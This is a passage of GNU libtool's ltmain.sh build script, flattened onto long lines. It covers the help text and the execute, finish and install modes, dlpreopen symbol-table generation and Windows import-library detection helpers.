LIBDIR -R[ ]LIBDIR add LIBDIR to the runtime path of programs and libraries -shared only do dynamic linking of libtool libraries -shrext SUFFIX override the standard shared library file extension -static do not do any dynamic linking of uninstalled libtool libraries -static-libtool-libs do not do any dynamic linking of libtool libraries -version-info CURRENT[:REVISION[:AGE]] specify library version info [each variable defaults to 0] -weak LIBNAME declare that the target provides the LIBNAME interface -Wc,FLAG -Xcompiler FLAG pass linker-specific FLAG directly to the compiler -Wl,FLAG -Xlinker FLAG pass linker-specific FLAG directly to the linker -XCClinker FLAG pass link-specific FLAG to the compiler driver (CC) All other options (arguments beginning with \`-') are ignored. Every other argument is treated as a filename. Files ending in \`.la' are treated as uninstalled libtool libraries, other files are standard or library object files. If the OUTPUT-FILE ends in \`.la', then a libtool library is created, only library objects (\`.lo' files) may be specified, and \`-rpath' is required, except when creating a convenience library. If OUTPUT-FILE ends in \`.a' or \`.lib', then a standard library is created using \`ar' and \`ranlib', or on Windows using \`lib'. If OUTPUT-FILE ends in \`.lo' or \`.${objext}', then a reloadable object file is created, otherwise an executable program is created." ;; uninstall) $ECHO \ "Usage: $progname [OPTION]... --mode=uninstall RM [RM-OPTION]... FILE... Remove libraries from an installation directory. RM is the name of the program to use to delete files associated with each FILE (typically \`/bin/rm'). RM-OPTIONS are options (such as \`-f') to be passed to RM. If FILE is a libtool library, all the files associated with it are deleted. Otherwise, only FILE itself is deleted using RM." ;; *) func_fatal_help "invalid operation mode \`$opt_mode'" ;; esac echo $ECHO "Try \`$progname --help' for more information about other modes." } # Now that we've collected a possible --mode arg, show help if necessary if $opt_help; then if test "$opt_help" = :; then func_mode_help else { func_help noexit for opt_mode in compile link execute install finish uninstall clean; do func_mode_help done } | sed -n '1p; 2,$s/^Usage:/ or: /p' { func_help noexit for opt_mode in compile link execute install finish uninstall clean; do echo func_mode_help done } | sed '1d /^When reporting/,/^Report/{ H d } $x /information about other modes/d /more detailed .*MODE/d s/^Usage:.*--mode=\([^ ]*\) .*/Description of \1 mode:/' fi exit $? fi # func_mode_execute arg... func_mode_execute () { $opt_debug # The first argument is the command name. cmd="$nonopt" test -z "$cmd" && \ func_fatal_help "you must specify a COMMAND" # Handle -dlopen flags immediately. for file in $opt_dlopen; do test -f "$file" \ || func_fatal_help "\`$file' is not a file" dir= case $file in *.la) func_resolve_sysroot "$file" file=$func_resolve_sysroot_result # Check to see that this really is a libtool archive. func_lalib_unsafe_p "$file" \ || func_fatal_help "\`$lib' is not a valid libtool archive" # Read the libtool library. dlname= library_names= func_source "$file" # Skip this library if it cannot be dlopened. if test -z "$dlname"; then # Warn if it was a shared library. test -n "$library_names" && \ func_warning "\`$file' was not linked with \`-export-dynamic'" continue fi func_dirname "$file" "" "." dir="$func_dirname_result" if test -f "$dir/$objdir/$dlname"; then func_append dir "/$objdir" else if test ! -f "$dir/$dlname"; then func_fatal_error "cannot find \`$dlname' in \`$dir' or \`$dir/$objdir'" fi fi ;; *.lo) # Just add the directory containing the .lo file. func_dirname "$file" "" "." dir="$func_dirname_result" ;; *) func_warning "\`-dlopen' is ignored for non-libtool libraries and objects" continue ;; esac # Get the absolute pathname. absdir=`cd "$dir" && pwd` test -n "$absdir" && dir="$absdir" # Now add the directory to shlibpath_var. if eval "test -z \"\$$shlibpath_var\""; then eval "$shlibpath_var=\"\$dir\"" else eval "$shlibpath_var=\"\$dir:\$$shlibpath_var\"" fi done # This variable tells wrapper scripts just to set shlibpath_var # rather than running their programs. libtool_execute_magic="$magic" # Check if any of the arguments is a wrapper script. args= for file do case $file in -* | *.la | *.lo ) ;; *) # Do a test to see if this is really a libtool program. if func_ltwrapper_script_p "$file"; then func_source "$file" # Transform arg to wrapped name. file="$progdir/$program" elif func_ltwrapper_executable_p "$file"; then func_ltwrapper_scriptname "$file" func_source "$func_ltwrapper_scriptname_result" # Transform arg to wrapped name. file="$progdir/$program" fi ;; esac # Quote arguments (to preserve shell metacharacters). func_append_quoted args "$file" done if test "X$opt_dry_run" = Xfalse; then if test -n "$shlibpath_var"; then # Export the shlibpath_var. eval "export $shlibpath_var" fi # Restore saved environment variables for lt_var in LANG LANGUAGE LC_ALL LC_CTYPE LC_COLLATE LC_MESSAGES do eval "if test \"\${save_$lt_var+set}\" = set; then $lt_var=\$save_$lt_var; export $lt_var else $lt_unset $lt_var fi" done # Now prepare to actually exec the command. exec_cmd="\$cmd$args" else # Display what would be done. if test -n "$shlibpath_var"; then eval "\$ECHO \"\$shlibpath_var=\$$shlibpath_var\"" echo "export $shlibpath_var" fi $ECHO "$cmd$args" exit $EXIT_SUCCESS fi } test "$opt_mode" = execute && func_mode_execute ${1+"$@"} # func_mode_finish arg... func_mode_finish () { $opt_debug libs= libdirs= admincmds= for opt in "$nonopt" ${1+"$@"} do if test -d "$opt"; then func_append libdirs " $opt" elif test -f "$opt"; then if func_lalib_unsafe_p "$opt"; then func_append libs " $opt" else func_warning "\`$opt' is not a valid libtool archive" fi else func_fatal_error "invalid argument \`$opt'" fi done if test -n "$libs"; then if test -n "$lt_sysroot"; then sysroot_regex=`$ECHO "$lt_sysroot" | $SED "$sed_make_literal_regex"` sysroot_cmd="s/\([ ']\)$sysroot_regex/\1/g;" else sysroot_cmd= fi # Remove sysroot references if $opt_dry_run; then for lib in $libs; do echo "removing references to $lt_sysroot and \`=' prefixes from $lib" done else tmpdir=`func_mktempdir` for lib in $libs; do sed -e "${sysroot_cmd} s/\([ ']-[LR]\)=/\1/g; s/\([ ']\)=/\1/g" $lib \ > $tmpdir/tmp-la mv -f $tmpdir/tmp-la $lib done ${RM}r "$tmpdir" fi fi if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then for libdir in $libdirs; do if test -n "$finish_cmds"; then # Do each command in the finish commands. func_execute_cmds "$finish_cmds" 'admincmds="$admincmds '"$cmd"'"' fi if test -n "$finish_eval"; then # Do the single finish_eval. eval cmds=\"$finish_eval\" $opt_dry_run || eval "$cmds" || func_append admincmds " $cmds" fi done fi # Exit here if they wanted silent mode. $opt_silent && exit $EXIT_SUCCESS if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then echo "----------------------------------------------------------------------" echo "Libraries have been installed in:" for libdir in $libdirs; do $ECHO " $libdir" done echo echo "If you ever happen to want to link against installed libraries" echo "in a given directory, LIBDIR, you must either use libtool, and" echo "specify the full pathname of the library, or use the \`-LLIBDIR'" echo "flag during linking and do at least one of the following:" if test -n "$shlibpath_var"; then echo " - add LIBDIR to the \`$shlibpath_var' environment variable" echo " during execution" fi if test -n "$runpath_var"; then echo " - add LIBDIR to the \`$runpath_var' environment variable" echo " during linking" fi if test -n "$hardcode_libdir_flag_spec"; then libdir=LIBDIR eval flag=\"$hardcode_libdir_flag_spec\" $ECHO " - use the \`$flag' linker flag" fi if test -n "$admincmds"; then $ECHO " - have your system administrator run these commands:$admincmds" fi if test -f /etc/ld.so.conf; then echo " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'" fi echo echo "See any operating system documentation about shared libraries for" case $host in solaris2.[6789]|solaris2.1[0-9]) echo "more information, such as the ld(1), crle(1) and ld.so(8) manual" echo "pages." ;; *) echo "more information, such as the ld(1) and ld.so(8) manual pages." ;; esac echo "----------------------------------------------------------------------" fi exit $EXIT_SUCCESS } test "$opt_mode" = finish && func_mode_finish ${1+"$@"} # func_mode_install arg... func_mode_install () { $opt_debug # There may be an optional sh(1) argument at the beginning of # install_prog (especially on Windows NT). if test "$nonopt" = "$SHELL" || test "$nonopt" = /bin/sh || # Allow the use of GNU shtool's install command. case $nonopt in *shtool*) :;; *) false;; esac; then # Aesthetically quote it. func_quote_for_eval "$nonopt" install_prog="$func_quote_for_eval_result " arg=$1 shift else install_prog= arg=$nonopt fi # The real first argument should be the name of the installation program. # Aesthetically quote it. func_quote_for_eval "$arg" func_append install_prog "$func_quote_for_eval_result" install_shared_prog=$install_prog case " $install_prog " in *[\\\ /]cp\ *) install_cp=: ;; *) install_cp=false ;; esac # We need to accept at least all the BSD install flags. dest= files= opts= prev= install_type= isdir=no stripme= no_mode=: for arg do arg2= if test -n "$dest"; then func_append files " $dest" dest=$arg continue fi case $arg in -d) isdir=yes ;; -f) if $install_cp; then :; else prev=$arg fi ;; -g | -m | -o) prev=$arg ;; -s) stripme=" -s" continue ;; -*) ;; *) # If the previous option needed an argument, then skip it. if test -n "$prev"; then if test "x$prev" = x-m && test -n "$install_override_mode"; then arg2=$install_override_mode no_mode=false fi prev= else dest=$arg continue fi ;; esac # Aesthetically quote the argument. func_quote_for_eval "$arg" func_append install_prog " $func_quote_for_eval_result" if test -n "$arg2"; then func_quote_for_eval "$arg2" fi func_append install_shared_prog " $func_quote_for_eval_result" done test -z "$install_prog" && \ func_fatal_help "you must specify an install program" test -n "$prev" && \ func_fatal_help "the \`$prev' option requires an argument" if test -n "$install_override_mode" && $no_mode; then if $install_cp; then :; else func_quote_for_eval "$install_override_mode" func_append install_shared_prog " -m $func_quote_for_eval_result" fi fi if test -z "$files"; then if test -z "$dest"; then func_fatal_help "no file or destination specified" else func_fatal_help "you must specify a destination" fi fi # Strip any trailing slash from the destination. func_stripname '' '/' "$dest" dest=$func_stripname_result # Check to see that the destination is a directory. test -d "$dest" && isdir=yes if test "$isdir" = yes; then destdir="$dest" destname= else func_dirname_and_basename "$dest" "" "." destdir="$func_dirname_result" destname="$func_basename_result" # Not a directory, so check to see that there is only one file specified. set dummy $files; shift test "$#" -gt 1 && \ func_fatal_help "\`$dest' is not a directory" fi case $destdir in [\\/]* | [A-Za-z]:[\\/]*) ;; *) for file in $files; do case $file in *.lo) ;; *) func_fatal_help "\`$destdir' must be an absolute directory name" ;; esac done ;; esac # This variable tells wrapper scripts just to set variables rather # than running their programs. libtool_install_magic="$magic" staticlibs= future_libdirs= current_libdirs= for file in $files; do # Do each installation. case $file in *.$libext) # Do the static libraries later. func_append staticlibs " $file" ;; *.la) func_resolve_sysroot "$file" file=$func_resolve_sysroot_result # Check to see that this really is a libtool archive. func_lalib_unsafe_p "$file" \ || func_fatal_help "\`$file' is not a valid libtool archive" library_names= old_library= relink_command= func_source "$file" # Add the libdir to current_libdirs if it is the destination. if test "X$destdir" = "X$libdir"; then case "$current_libdirs " in *" $libdir "*) ;; *) func_append current_libdirs " $libdir" ;; esac else # Note the libdir as a future libdir. case "$future_libdirs " in *" $libdir "*) ;; *) func_append future_libdirs " $libdir" ;; esac fi func_dirname "$file" "/" "" dir="$func_dirname_result" func_append dir "$objdir" if test -n "$relink_command"; then # Determine the prefix the user has applied to our future dir. inst_prefix_dir=`$ECHO "$destdir" | $SED -e "s%$libdir\$%%"` # Don't allow the user to place us outside of our expected # location b/c this prevents finding dependent libraries that # are installed to the same prefix. # At present, this check doesn't affect windows .dll's that # are installed into $libdir/../bin (currently, that works fine) # but it's something to keep an eye on. test "$inst_prefix_dir" = "$destdir" && \ func_fatal_error "error: cannot install \`$file' to a directory not ending in $libdir" if test -n "$inst_prefix_dir"; then # Stick the inst_prefix_dir data into the link command. relink_command=`$ECHO "$relink_command" | $SED "s%@inst_prefix_dir@%-inst-prefix-dir $inst_prefix_dir%"` else relink_command=`$ECHO "$relink_command" | $SED "s%@inst_prefix_dir@%%"` fi func_warning "relinking \`$file'" func_show_eval "$relink_command" \ 'func_fatal_error "error: relink \`$file'\'' with the above command before installing it"' fi # See the names of the shared library. set dummy $library_names; shift if test -n "$1"; then realname="$1" shift srcname="$realname" test -n "$relink_command" && srcname="$realname"T # Install the shared library and build the symlinks. func_show_eval "$install_shared_prog $dir/$srcname $destdir/$realname" \ 'exit $?' tstripme="$stripme" case $host_os in cygwin* | mingw* | pw32* | cegcc*) case $realname in *.dll.a) tstripme="" ;; esac ;; esac if test -n "$tstripme" && test -n "$striplib"; then func_show_eval "$striplib $destdir/$realname" 'exit $?' fi if test "$#" -gt 0; then # Delete the old symlinks, and create new ones. # Try `ln -sf' first, because the `ln' binary might depend on # the symlink we replace! Solaris /bin/ln does not understand -f, # so we also need to try rm && ln -s. for linkname do test "$linkname" != "$realname" \ && func_show_eval "(cd $destdir && { $LN_S -f $realname $linkname || { $RM $linkname && $LN_S $realname $linkname; }; })" done fi # Do each command in the postinstall commands. lib="$destdir/$realname" func_execute_cmds "$postinstall_cmds" 'exit $?' fi # Install the pseudo-library for information purposes. func_basename "$file" name="$func_basename_result" instname="$dir/$name"i func_show_eval "$install_prog $instname $destdir/$name" 'exit $?' # Maybe install the static library, too. test -n "$old_library" && func_append staticlibs " $dir/$old_library" ;; *.lo) # Install (i.e. copy) a libtool object. # Figure out destination file name, if it wasn't already specified. if test -n "$destname"; then destfile="$destdir/$destname" else func_basename "$file" destfile="$func_basename_result" destfile="$destdir/$destfile" fi # Deduce the name of the destination old-style object file. case $destfile in *.lo) func_lo2o "$destfile" staticdest=$func_lo2o_result ;; *.$objext) staticdest="$destfile" destfile= ;; *) func_fatal_help "cannot copy a libtool object to \`$destfile'" ;; esac # Install the libtool object if requested. test -n "$destfile" && \ func_show_eval "$install_prog $file $destfile" 'exit $?' # Install the old object if enabled. if test "$build_old_libs" = yes; then # Deduce the name of the old-style object file. func_lo2o "$file" staticobj=$func_lo2o_result func_show_eval "$install_prog \$staticobj \$staticdest" 'exit $?' fi exit $EXIT_SUCCESS ;; *) # Figure out destination file name, if it wasn't already specified. if test -n "$destname"; then destfile="$destdir/$destname" else func_basename "$file" destfile="$func_basename_result" destfile="$destdir/$destfile" fi # If the file is missing, and there is a .exe on the end, strip it # because it is most likely a libtool script we actually want to # install stripped_ext="" case $file in *.exe) if test ! -f "$file"; then func_stripname '' '.exe' "$file" file=$func_stripname_result stripped_ext=".exe" fi ;; esac # Do a test to see if this is really a libtool program. case $host in *cygwin* | *mingw*) if func_ltwrapper_executable_p "$file"; then func_ltwrapper_scriptname "$file" wrapper=$func_ltwrapper_scriptname_result else func_stripname '' '.exe' "$file" wrapper=$func_stripname_result fi ;; *) wrapper=$file ;; esac if func_ltwrapper_script_p "$wrapper"; then notinst_deplibs= relink_command= func_source "$wrapper" # Check the variables that should have been set. test -z "$generated_by_libtool_version" && \ func_fatal_error "invalid libtool wrapper script \`$wrapper'" finalize=yes for lib in $notinst_deplibs; do # Check to see that each library is installed. libdir= if test -f "$lib"; then func_source "$lib" fi libfile="$libdir/"`$ECHO "$lib" | $SED 's%^.*/%%g'` ### testsuite: skip nested quoting test if test -n "$libdir" && test ! -f "$libfile"; then func_warning "\`$lib' has not been installed in \`$libdir'" finalize=no fi done relink_command= func_source "$wrapper" outputname= if test "$fast_install" = no && test -n "$relink_command"; then $opt_dry_run || { if test "$finalize" = yes; then tmpdir=`func_mktempdir` func_basename "$file$stripped_ext" file="$func_basename_result" outputname="$tmpdir/$file" # Replace the output file specification. relink_command=`$ECHO "$relink_command" | $SED 's%@OUTPUT@%'"$outputname"'%g'` $opt_silent || { func_quote_for_expand "$relink_command" eval "func_echo $func_quote_for_expand_result" } if eval "$relink_command"; then : else func_error "error: relink \`$file' with the above command before installing it" $opt_dry_run || ${RM}r "$tmpdir" continue fi file="$outputname" else func_warning "cannot relink \`$file'" fi } else # Install the binary that we compiled earlier. file=`$ECHO "$file$stripped_ext" | $SED "s%\([^/]*\)$%$objdir/\1%"` fi fi # remove .exe since cygwin /usr/bin/install will append another # one anyway case $install_prog,$host in */usr/bin/install*,*cygwin*) case $file:$destfile in *.exe:*.exe) # this is ok ;; *.exe:*) destfile=$destfile.exe ;; *:*.exe) func_stripname '' '.exe' "$destfile" destfile=$func_stripname_result ;; esac ;; esac func_show_eval "$install_prog\$stripme \$file \$destfile" 'exit $?' $opt_dry_run || if test -n "$outputname"; then ${RM}r "$tmpdir" fi ;; esac done for file in $staticlibs; do func_basename "$file" name="$func_basename_result" # Set up the ranlib parameters. oldlib="$destdir/$name" func_to_tool_file "$oldlib" func_convert_file_msys_to_w32 tool_oldlib=$func_to_tool_file_result func_show_eval "$install_prog \$file \$oldlib" 'exit $?' if test -n "$stripme" && test -n "$old_striplib"; then func_show_eval "$old_striplib $tool_oldlib" 'exit $?' fi # Do each command in the postinstall commands. func_execute_cmds "$old_postinstall_cmds" 'exit $?' done test -n "$future_libdirs" && \ func_warning "remember to run \`$progname --finish$future_libdirs'" if test -n "$current_libdirs"; then # Maybe just do a dry run. $opt_dry_run && current_libdirs=" -n$current_libdirs" exec_cmd='$SHELL $progpath $preserve_args --finish$current_libdirs' else exit $EXIT_SUCCESS fi } test "$opt_mode" = install && func_mode_install ${1+"$@"} # func_generate_dlsyms outputname originator pic_p # Extract symbols from dlprefiles and create ${outputname}S.o with # a dlpreopen symbol table. func_generate_dlsyms () { $opt_debug my_outputname="$1" my_originator="$2" my_pic_p="${3-no}" my_prefix=`$ECHO "$my_originator" | sed 's%[^a-zA-Z0-9]%_%g'` my_dlsyms= if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then if test -n "$NM" && test -n "$global_symbol_pipe"; then my_dlsyms="${my_outputname}S.c" else func_error "not configured to extract global symbols from dlpreopened files" fi fi if test -n "$my_dlsyms"; then case $my_dlsyms in "") ;; *.c) # Discover the nlist of each of the dlfiles. nlist="$output_objdir/${my_outputname}.nm" func_show_eval "$RM $nlist ${nlist}S ${nlist}T" # Parse the name list into a source file. func_verbose "creating $output_objdir/$my_dlsyms" $opt_dry_run || $ECHO > "$output_objdir/$my_dlsyms" "\ /* $my_dlsyms - symbol resolution table for \`$my_outputname' dlsym emulation. */ /* Generated by $PROGRAM (GNU $PACKAGE$TIMESTAMP) $VERSION */ #ifdef __cplusplus extern \"C\" { #endif #if defined(__GNUC__) && (((__GNUC__ == 4) && (__GNUC_MINOR__ >= 4)) || (__GNUC__ > 4)) #pragma GCC diagnostic ignored \"-Wstrict-prototypes\" #endif /* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */ #if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE) /* DATA imports from DLLs on WIN32 con't be const, because runtime relocations are performed -- see ld's documentation on pseudo-relocs. */ # define LT_DLSYM_CONST #elif defined(__osf__) /* This system does not cope well with relocations in const data. */ # define LT_DLSYM_CONST #else # define LT_DLSYM_CONST const #endif /* External symbol declarations for the compiler. */\ " if test "$dlself" = yes; then func_verbose "generating symbol list for \`$output'" $opt_dry_run || echo ': @PROGRAM@ ' > "$nlist" # Add our own program objects to the symbol list. progfiles=`$ECHO "$objs$old_deplibs" | $SP2NL | $SED "$lo2o" | $NL2SP` for progfile in $progfiles; do func_to_tool_file "$progfile" func_convert_file_msys_to_w32 func_verbose "extracting global C symbols from \`$func_to_tool_file_result'" $opt_dry_run || eval "$NM $func_to_tool_file_result | $global_symbol_pipe >> '$nlist'" done if test -n "$exclude_expsyms"; then $opt_dry_run || { eval '$EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T' eval '$MV "$nlist"T "$nlist"' } fi if test -n "$export_symbols_regex"; then $opt_dry_run || { eval '$EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T' eval '$MV "$nlist"T "$nlist"' } fi # Prepare the list of exported symbols if test -z "$export_symbols"; then export_symbols="$output_objdir/$outputname.exp" $opt_dry_run || { $RM $export_symbols eval "${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' "'< "$nlist" > "$export_symbols"' case $host in *cygwin* | *mingw* | *cegcc* ) eval "echo EXPORTS "'> "$output_objdir/$outputname.def"' eval 'cat "$export_symbols" >> "$output_objdir/$outputname.def"' ;; esac } else $opt_dry_run || { eval "${SED} -e 's/\([].[*^$]\)/\\\\\1/g' -e 's/^/ /' -e 's/$/$/'"' < "$export_symbols" > "$output_objdir/$outputname.exp"' eval '$GREP -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T' eval '$MV "$nlist"T "$nlist"' case $host in *cygwin* | *mingw* | *cegcc* ) eval "echo EXPORTS "'> "$output_objdir/$outputname.def"' eval 'cat "$nlist" >> "$output_objdir/$outputname.def"' ;; esac } fi fi for dlprefile in $dlprefiles; do func_verbose "extracting global C symbols from \`$dlprefile'" func_basename "$dlprefile" name="$func_basename_result" case $host in *cygwin* | *mingw* | *cegcc* ) # if an import library, we need to obtain dlname if func_win32_import_lib_p "$dlprefile"; then func_tr_sh "$dlprefile" eval "curr_lafile=\$libfile_$func_tr_sh_result" dlprefile_dlbasename="" if test -n "$curr_lafile" && func_lalib_p "$curr_lafile"; then # Use subshell, to avoid clobbering current variable values dlprefile_dlname=`source "$curr_lafile" && echo "$dlname"` if test -n "$dlprefile_dlname" ; then func_basename "$dlprefile_dlname" dlprefile_dlbasename="$func_basename_result" else # no lafile. user explicitly requested -dlpreopen . $sharedlib_from_linklib_cmd "$dlprefile" dlprefile_dlbasename=$sharedlib_from_linklib_result fi fi $opt_dry_run || { if test -n "$dlprefile_dlbasename" ; then eval '$ECHO ": $dlprefile_dlbasename" >> "$nlist"' else func_warning "Could not compute DLL name from $name" eval '$ECHO ": $name " >> "$nlist"' fi func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32 eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe | $SED -e '/I __imp/d' -e 's/I __nm_/D /;s/_nm__//' >> '$nlist'" } else # not an import lib $opt_dry_run || { eval '$ECHO ": $name " >> "$nlist"' func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32 eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe >> '$nlist'" } fi ;; *) $opt_dry_run || { eval '$ECHO ": $name " >> "$nlist"' func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32 eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe >> '$nlist'" } ;; esac done $opt_dry_run || { # Make sure we have at least an empty file. test -f "$nlist" || : > "$nlist" if test -n "$exclude_expsyms"; then $EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T $MV "$nlist"T "$nlist" fi # Try sorting and uniquifying the output. if $GREP -v "^: " < "$nlist" | if sort -k 3 /dev/null 2>&1; then sort -k 3 else sort +2 fi | uniq > "$nlist"S; then : else $GREP -v "^: " < "$nlist" > "$nlist"S fi if test -f "$nlist"S; then eval "$global_symbol_to_cdecl"' < "$nlist"S >> "$output_objdir/$my_dlsyms"' else echo '/* NONE */' >> "$output_objdir/$my_dlsyms" fi echo >> "$output_objdir/$my_dlsyms" "\ /* The mapping between symbol names and symbols. */ typedef struct { const char *name; void *address; } lt_dlsymlist; extern LT_DLSYM_CONST lt_dlsymlist lt_${my_prefix}_LTX_preloaded_symbols[]; LT_DLSYM_CONST lt_dlsymlist lt_${my_prefix}_LTX_preloaded_symbols[] = {\ { \"$my_originator\", (void *) 0 }," case $need_lib_prefix in no) eval "$global_symbol_to_c_name_address" < "$nlist" >> "$output_objdir/$my_dlsyms" ;; *) eval "$global_symbol_to_c_name_address_lib_prefix" < "$nlist" >> "$output_objdir/$my_dlsyms" ;; esac echo >> "$output_objdir/$my_dlsyms" "\ {0, (void *) 0} }; /* This works around a problem in FreeBSD linker */ #ifdef FREEBSD_WORKAROUND static const void *lt_preloaded_setup() { return lt_${my_prefix}_LTX_preloaded_symbols; } #endif #ifdef __cplusplus } #endif\ " } # !$opt_dry_run pic_flag_for_symtable= case "$compile_command " in *" -static "*) ;; *) case $host in # compiling the symbol table file with pic_flag works around # a FreeBSD bug that causes programs to crash when -lm is # linked before any other PIC object. But we must not use # pic_flag when linking with -static. The problem exists in # FreeBSD 2.2.6 and is fixed in FreeBSD 3.1. *-*-freebsd2.*|*-*-freebsd3.0*|*-*-freebsdelf3.0*) pic_flag_for_symtable=" $pic_flag -DFREEBSD_WORKAROUND" ;; *-*-hpux*) pic_flag_for_symtable=" $pic_flag" ;; *) if test "X$my_pic_p" != Xno; then pic_flag_for_symtable=" $pic_flag" fi ;; esac ;; esac symtab_cflags= for arg in $LTCFLAGS; do case $arg in -pie | -fpie | -fPIE) ;; *) func_append symtab_cflags " $arg" ;; esac done # Now compile the dynamic symbol file. func_show_eval '(cd $output_objdir && $LTCC$symtab_cflags -c$no_builtin_flag$pic_flag_for_symtable "$my_dlsyms")' 'exit $?' # Clean up the generated files. func_show_eval '$RM "$output_objdir/$my_dlsyms" "$nlist" "${nlist}S" "${nlist}T"' # Transform the symbol file into the correct name. symfileobj="$output_objdir/${my_outputname}S.$objext" case $host in *cygwin* | *mingw* | *cegcc* ) if test -f "$output_objdir/$my_outputname.def"; then compile_command=`$ECHO "$compile_command" | $SED "s%@SYMFILE@%$output_objdir/$my_outputname.def $symfileobj%"` finalize_command=`$ECHO "$finalize_command" | $SED "s%@SYMFILE@%$output_objdir/$my_outputname.def $symfileobj%"` else compile_command=`$ECHO "$compile_command" | $SED "s%@SYMFILE@%$symfileobj%"` finalize_command=`$ECHO "$finalize_command" | $SED "s%@SYMFILE@%$symfileobj%"` fi ;; *) compile_command=`$ECHO "$compile_command" | $SED "s%@SYMFILE@%$symfileobj%"` finalize_command=`$ECHO "$finalize_command" | $SED "s%@SYMFILE@%$symfileobj%"` ;; esac ;; *) func_fatal_error "unknown suffix for \`$my_dlsyms'" ;; esac else # We keep going just in case the user didn't refer to # lt_preloaded_symbols. The linker will fail if global_symbol_pipe # really was required. # Nullify the symbol file. compile_command=`$ECHO "$compile_command" | $SED "s% @SYMFILE@%%"` finalize_command=`$ECHO "$finalize_command" | $SED "s% @SYMFILE@%%"` fi } # func_win32_libid arg # return the library type of file 'arg' # # Need a lot of goo to handle *both* DLLs and import libs # Has to be a shell function in order to 'eat' the argument # that is supplied when $file_magic_command is called. # Despite the name, also deal with 64 bit binaries. func_win32_libid () { $opt_debug win32_libid_type="unknown" win32_fileres=`file -L $1 2>/dev/null` case $win32_fileres in *ar\ archive\ import\ library*) # definitely import win32_libid_type="x86 archive import" ;; *ar\ archive*) # could be an import, or static # Keep the egrep pattern in sync with the one in _LT_CHECK_MAGIC_METHOD. if eval $OBJDUMP -f $1 | $SED -e '10q' 2>/dev/null | $EGREP 'file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)' >/dev/null; then func_to_tool_file "$1" func_convert_file_msys_to_w32 win32_nmres=`eval $NM -f posix -A \"$func_to_tool_file_result\" | $SED -n -e ' 1,100{ / I /{ s,.*,import, p q } }'` case $win32_nmres in import*) win32_libid_type="x86 archive import";; *) win32_libid_type="x86 archive static";; esac fi ;; *DLL*) win32_libid_type="x86 DLL" ;; *executable*) # but shell scripts are "executable" too... case $win32_fileres in *MS\ Windows\ PE\ Intel*) win32_libid_type="x86 DLL" ;; esac ;; esac $ECHO "$win32_libid_type" } # func_cygming_dll_for_implib ARG # # Platform-specific function to extract the # name of the DLL associated with the specified # import library ARG. # Invoked by eval'ing the libtool variable # $sharedlib_from_linklib_cmd # Result is available in the variable # $sharedlib_from_linklib_result func_cygming_dll_for_implib () { $opt_debug sharedlib_from_linklib_result=`$DLLTOOL --identify-strict --identify "$1"` } # func_cygming_dll_for_implib_fallback_core SECTION_NAME LIBNAMEs # # The is the core of a fallback implementation of a # platform-specific function to extract the name of the # DLL associated with the specified import library LIBNAME. # # SECTION_NAME is either .idata$6 or .idata$7, depending # on the platform and compiler that created the implib. # # Echos the name of the DLL associated with the # specified import library. func_cygming_dll_for_implib_fallback_core () { $opt_debug match_literal=`$ECHO "$1" | $SED "$sed_make_literal_regex"` $OBJDUMP -s --section "$1" "$2" 2>/dev/null | $SED '/^Contents of section '"$match_literal"':/{ # Place marker at beginning of archive member dllname section s/.*/====MARK====/ p d } # These lines can sometimes be longer than 43 characters, but # are always uninteresting /:[ ]*file format pe[i]\{,1\}-/d /^In archive [^:]*:/d # Ensure marker is printed /^====MARK====/p # Remove all lines with less than 43 characters /^.\{43\}/!d # From remaining lines, remove first 43 characters s/^.\{43\}//' | $SED -n ' # Join marker and all lines until next marker into a single line /^====MARK====/ b para H $ b para b :para x s/\n//g # Remove the marker s/^====MARK====// # Remove trailing dots and whitespace s/[\. \t]*$// # Print /./p' | # we now have a list, one entry per line, of the stringified # contents of the appropriate section of all members of the # archive which possess that section. Heuristic: eliminate # all those which have a first or second character that is # a '.' (that is, objdump's representation of an unprintable # character.) This should work for all archives with less than # 0x302f exports -- but will fail for DLLs whose name actually # begins with a literal '.' or a single character followed by # a '.'. # # Of those that remain, print the first one. $SED -e '/^\./d;/^.\./d;q' } # func_cygming_gnu_implib_p ARG # This predicate returns with zero status (TRUE) if # ARG is a GNU/binutils-style import library. Returns # with nonzero status (FALSE) otherwise. func_cygming_gnu_implib_p () { $opt_debug func_to_tool_file "$1" func_convert_file_msys_to_w32 func_cygming_gnu_implib_tmp=`$NM "$func_to_tool_file_result" | eval "$global_symbol_pipe" | $EGREP ' (_head_[A-Za-z0-9_]+_[ad]l*|[A-Za-z0-9_]+_[ad]l*_iname)$'` test -n "$func_cygming_gnu_implib_tmp" } # func_cygming_ms_implib_p ARG # This predicate returns with zero status (TRUE) if # ARG is an MS-style import library. Returns # with nonzero status (FALSE) otherwise. func_cygming_ms_implib_p () { $opt_debug func_to_tool_file "$1" func_convert_file_msys_to_w32 func_cygming_ms_implib_tmp=`$NM "$func_to_tool_file_result" | eval "$global_symbol_pipe" | $GREP '_NULL_IMPORT_DESCRIPTOR'` test -n "$func_cygming_ms_implib_tmp" } # func_cygming_dll_for_implib_fallback ARG # Platform-specific function to extract the # name of the DLL associated with the specified # import library ARG. # # This fallback implementation is for use when $DLLTOOL # does not support the --identify-strict option. # Invoked by eval'ing the libtool variable # $sharedlib_from_linklib_cmd # Result is available in the variable # $sharedlib_from_linklib_result func_cygming_dll_for_implib_fallback () { $opt_debug if func_cygming_gnu_implib_p "$1" ; then # binutils import library sharedlib_from_linklib_result=`func_cygming_dll_for_implib_fallback_core '.idata$7' "$1"` elif func_cygming_ms_implib_p "$1" ; then # ms-generated import library 